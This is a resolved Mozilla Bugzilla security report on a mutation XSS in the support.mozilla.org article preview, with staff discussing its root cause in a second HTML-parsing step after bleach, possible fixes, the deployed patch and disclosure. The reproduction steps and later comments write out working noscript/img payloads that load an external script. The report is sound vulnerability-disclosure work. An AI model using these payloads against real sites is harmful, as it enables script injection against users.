1694863 - mXSS in support.mozilla.org

Status: RESOLVED FIXED

(support.mozilla.org :: Knowledge Base Software, defect)

Description

[Guilherme Keerok]

Attachment: XSS in preview content of malicious article

Hi, i would like to report an issue that i think that the cause is this code:

https://github.com/mozilla/kitsune/blob/20c0c434b8a9fc39a19d319890054c5b914cc34a/kitsune/sumo/static/sumo/js/ajaxpreview.js#L47

Preview functionality on support.mozilla.org is vulnerable to XSS when previwing a malicious article.

Steps to Reproduce:

1. Access https://support.mozilla.org/en-US/kb/whats-new-firefox-android/edit#preview
2. navigate to the textarea with the content of the article
3. put <noscript><noscript alt="<img><script src="//lbherrera。me/alert.js" in the textarea
4. click in preview content button
5. XSS will be triggered

Comment 1

[Greg G]

Hi Guilherme, nice find!

I can confirm the self XSS.

Comment 2

[Greg G]

:leo are you a good security contact for SUMO?

I'd recommend:

• sanitizing the preview HTML server side with bleach (in https://github.com/mozilla/kitsune/blob/20c0c434b8a9fc39a19d319890054c5b914cc34a/kitsune/wiki/views.py#L577 I think) or client side with DOMPurify
• adding a CSP to the page /edit route

Comment 3

[Leo McArdle [:leo]]

Thanks for this Guilherme!

:gguthe we're already using bleach here, through the mediawiki parsing library we use.

This seems to be a mutation XSS attack specifically against jquery's .html() function.

We're still running jquery 1.x, but upgrading to the latest version of 2.x doesn't fix this. We can't upgrade to 3.x without rather a lot of work.

I've tried reproducing this outside of kitsune to test if jquery 3.x would fix this, but I can't get it to work even with 1.x: I presume there's some bizarre interaction between the malformed html and the rest of the html on the page happening.

Just using plain old .innerHTML = instead seems to fix this, at least in Firefox.

So I guess the ultimate fix would be to implement a strong CSP, as you suggested.

Comment 4

[Greg G]

Thanks for digging into this :leo!

This is a self-xss and I rated it sec-low, so I don't consider this super urgent to patch but it would be good to get on the development roadmap. If there's an approach you'd like to take, I'd happy to help submit some PRs too.

Some notes:

• DOMPurify supports sanitizing for the jquery .html() context https://github.com/cure53/DOMPurify#what-is-supported

• Bleach should be escaping the output, so maybe the wikimedia parser is doing something? Ideally we'd be able to remove noscript from allowed tags.

>>> bleach.__version__
'3.3.0'
>>> bleach.clean('<noscript><noscript alt="<img><script src="//lbherrera。me/alert.js"', tags=['noscript', 'img'])
'<noscript>&lt;noscript alt="&lt;img&gt;&lt;script src="//lbherrera。me/alert.js"</noscript>'

• CSP would add an extra layer of defense, which would be good. A former Mozilla employee wrote an addon which might help generate a CSP policy https://github.com/april/laboratory

Comment 5

[Guilherme Keerok]

Hi Greg, I think that the bleach in the server-side are using the py-wikimarkup/wikimarkup allowed tags, not sure but I remember to see something about it

Comment 6

[Leo McArdle [:leo]]

I think that the bleach in the server-side are using the py-wikimarkup/wikimarkup allowed tags, not sure but I remember to see something about it

Indeed, for whatever reason noscript is an allowed tag in py-wikimarkup.

Bleach should be escaping the output, so maybe the wikimedia parser is doing something?

I hadn't fully stepped over our parser and yes you're right: bleach escapes it correctly, but then we parse the html itself to turn some special {for} syntax we use in the wiki into <span>s or <div>s with various data- attributes (depending on whether the content within the {for} are inline or block-level tags, I presume this is why we have to parse the html). It's this second parsing step which turns the sanitized bleach output back into a mXSS.

I went a little too far down the rabbit hole of trying to work out why exactly html5lib and lxml was doing this, but came up empty - I notice bleach is built upon html5 lib, so perhaps you have more insight?

So, solutions wise, we could just remove the noscript tag from the allowed tags we pass to py-wikimarkup, however I'm not comfortable saying this is the only way to exploit html5lib/lxml:

Other combinations of tags get dangerously close to something exploitable, e.g. <br><img alt="<br /><script src="//lbherrera。me/alert.js" outputs <p><br><img alt="<br /><script src="></p>, although this doesn't happen when passing escape_lt_in_attrs=True to html5lib.HTMLSerializer (but the noscript version still works with this argument).

It feels like it would be best to just re-bleach the output from html5lib, which would ought to avoid any problems with the library. What are your thoughts?

Comment 7

[Greg G]

(In reply to Leo McArdle [:leo] from comment #6)

Bleach should be escaping the output, so maybe the wikimedia parser is doing something?

I hadn't fully stepped over our parser and yes you're right: bleach escapes it correctly, but then we parse the html itself to turn some special {for} syntax we use in the wiki into <span>s or <div>s with various data- attributes (depending on whether the content within the {for} are inline or block-level tags, I presume this is why we have to parse the html). It's this second parsing step which turns the sanitized bleach output back into a mXSS.

Gotcha, I was trying to establish whether this was also a mXSS in bleach above, but I wasn't clear on if or how py-wikimarkup was changing things.

I went a little too far down the rabbit hole of trying to work out why exactly html5lib and lxml was doing this, but came up empty - I notice bleach is built upon html5 lib, so perhaps you have more insight?

Not offhand. Bleach vendors html5lib and is implemented as html5lib filters, but I'd have to dive in to see what exactly is going on here and am spread a bit thin at the moment.

So, solutions wise, we could just remove the noscript tag from the allowed tags we pass to py-wikimarkup, however I'm not comfortable saying this is the only way to exploit html5lib/lxml:

Other combinations of tags get dangerously close to something exploitable, e.g. <br><img alt="<br /><script src="//lbherrera。me/alert.js" outputs <p><br><img alt="<br /><script src="></p>, although this doesn't happen when passing escape_lt_in_attrs=True to html5lib.HTMLSerializer (but the noscript version still works with this argument).

Agreed that tweaking the bleach config is probably not a complete or good long term solution.

It feels like it would be best to just re-bleach the output from html5lib, which would ought to avoid any problems with the library. What are your thoughts?

I think re-bleaching would work for this case, but I'm not certain it wouldn't produce other artifacts like double-escaped html.

It's more work, but I'd lean towards plugging in DOMPurify for a few reasons:

• it's built to output for client side contexts and $.html specifically (it can also use trusted types and apply browser specific mitigations)
• using a separate sanitizer provides defense-in-depth (we'd like to require an attacker to have vulns in bleach and dompurify to exploit SUMO)
• it allows more input, so we're less likely to double escape output like we would be with two bleach passes
• it runs client side reducing server load (if that's a consideration)
• longer term :freddy is working on a native sanitizer API which should be a drop in replacement https://wicg.github.io/sanitizer-api/

That said, it is another dependency to manage, keep up to date, and serve and this is more work to implement. We could bleach twice and take a TODO on adding DOMPurify too.

You're closest to the code and have to maintain whatever we come up with, so let me know which direction you want to go.

Comment 8

[Leo McArdle [:leo]]

My primary concern with using DOMPurify is that it seems to be that the source of this mXSS vulnerability is in our parsing code itself, and that same parsing code is used to render the actual wiki article which end users see - which is loaded just as normal HTML, not through JS.

So (I hope my understanding here is correct) if there's a browser out there which behaves in the same way as jQuery when given this mutated HTML, then I presume users of that browser would be vulnerable to this mXSS on the wiki article itself, and DOMPurify would do nothing to fix that.

So I'd prefer to address this weirdness with the parsing code, where we can fix this mXSS - any hopefully mitigate future ones - on both the wiki article and its edit page, at the same time.

Does that sound reasonable?

Comment 9

[Greg G]

(In reply to Leo McArdle [:leo] from comment #8)

So (I hope my understanding here is correct) if there's a browser out there which behaves in the same way as jQuery when given this mutated HTML, then I presume users of that browser would be vulnerable to this mXSS on the wiki article itself, and DOMPurify would do nothing to fix that.

So I'd prefer to address this weirdness with the parsing code, where we can fix this mXSS - any hopefully mitigate future ones - on both the wiki article and its edit page, at the same time.

Does that sound reasonable?

Yep, I was assuming the edit page was the only place this was present.

I'm going to bump the severity of this since it could be a stored XSS for all users if an attacker can social engineer article approval.

Comment 10

[Leo McArdle [:leo]]

Attachment: bug-1694863.patch

Comment 11

[Guilherme Keerok]

Hi, is possible to assign a CVE for this bug?

Comment 12

[Tasos Katsoulas [:tasos]]

Comment on attachment 9209197 [details] [diff] [review]
bug-1694863.patch

Review of attachment 9209197 [details] [diff] [review]:
-----------------------------------------------------------------

looks good

Comment 13

[Leo McArdle [:leo]]

We've deployed a fix for this to support.mozilla.org: https://github.com/mozilla/kitsune/commit/395ebf68f762d893ba73e679fc7083e9e7e6e508

Comment 14

[Guilherme Keerok]

hello, is everything ready in this report? is it possible to disclose it?

Comment 15

[Greg G]

(In reply to Guilherme Keerok from comment #11)

Hi, is possible to assign a CVE for this bug?

You can email [e-mail] to ask for one.

(In reply to Guilherme Keerok from comment #14)

hello, is everything ready in this report? is it possible to disclose it?

According to https://bugzilla.mozilla.org/show_bug.cgi?id=1694863#c13 a fix is deployed, so I think this is safe to disclose. Per https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/#nondisclosure we can make this bug public whenever you'd like.

The bounty committee should meet in the next week or two to make HoF and bounty decisions for this bug too.

Thanks again for your report!

Comment 16

[Greg G]

Dropping the sec group flags, since it's been a five months and Guilherme wrote this up at https://gccybermonks.com/posts/mxss/